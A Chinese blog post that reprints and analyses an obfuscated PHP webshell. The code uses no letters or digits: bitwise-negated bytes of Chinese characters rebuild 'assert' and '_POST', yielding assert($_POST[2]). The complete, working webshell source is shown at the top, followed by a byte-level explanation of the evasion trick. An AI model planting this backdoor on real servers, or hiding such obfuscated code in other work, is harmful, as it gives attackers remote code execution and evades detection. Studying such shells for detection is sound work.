头图:https://cdn.naraku.cn/imgs/PHP-Shell.jpg
摘要:最近看到师兄分享了一个PHP一句话,感觉思路挺骚的,拿出来分析一下。
一句话
代码中的下划线
_
不便浏览,建议保存到本地用Sublime Text 3
或Notepad++
打开。代码如下:<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";
$____.=~($___{$_});
$___="和";
$____.=~($___{$__});
$___="和";
$____.=~($___{$__});
$___="的";
$____.=~($___{$_});
$___="半";
$____.=~($___{$_});
$___="始";
$____.=~($___{$__});
$_____='_';
$___="俯";
$_____.=~($___{$__});
$___="瞰";
$_____.=~($___{$__});
$___="次";
$_____.=~($___{$_});
$___="站";
$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]); //2=phpinfo();
核心思路
这个WebShell的核心思路是将非字母、数字的字符经过各种变换,从而构造出
assert
函数,且利用了PHP允许动态函数执行的特点。需要注意的是,assert
在PHP5中可以动态执行,而在PHP7中assert
不再是函数,而变成了一个语言结构,因此不能再作为函数名动态地去执行代码。而这里的WebShell经过各种变换后构造出的是assert
函数,因此只能在PHP5的环境下运行,故PHP7环境需构造成其它函数执行。分析
$__
和$_
前面的2个变量
$__
和$_
比较简单。从代码可以看到,其实就是一个大于号>
和一个小于号<
的比较,大于号的ASCII十进制是62
,小于号是60
,自然这里>
大于<
是成立的,返回true。由于PHP弱类型这个特性,true的值为1,所以$__=1+1=2
,也可以得知$_=2/2=1
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____
和$_____
接下来定义两个字符串
$____
和$___
,且可以从代码上看出,后面其实就是修改$___
,经过一定处理后拼接到$____
的后面,所以这里把其中一部分提取出来分析即可$____='';
$___="瞰";
$____.=~($___{$_});
简化一下
// $____.=~($___{$_});
$____. = ~("瞰"{1});
其中
{}
的作用是取字符串变量中的一个字节。UTF-8中1个中文字符占3个字节。这里将瞰
转换为二进制是11100111 10011110 10110000
因此可知,
"瞰"{1}
即取第1位字节(从0开始),即10011110
,然后通过~
按位取反,即得01100001
,转换为十六进制即为61
,对应的字符为a
- 后面的
$_____
也是相同方法,最终得到
参考:一些不包含数字和字母的webshell$____ = assert;
$_____ = _POST;
// $____($_[$__]); //2=phpinfo();
assert($_POST[2]);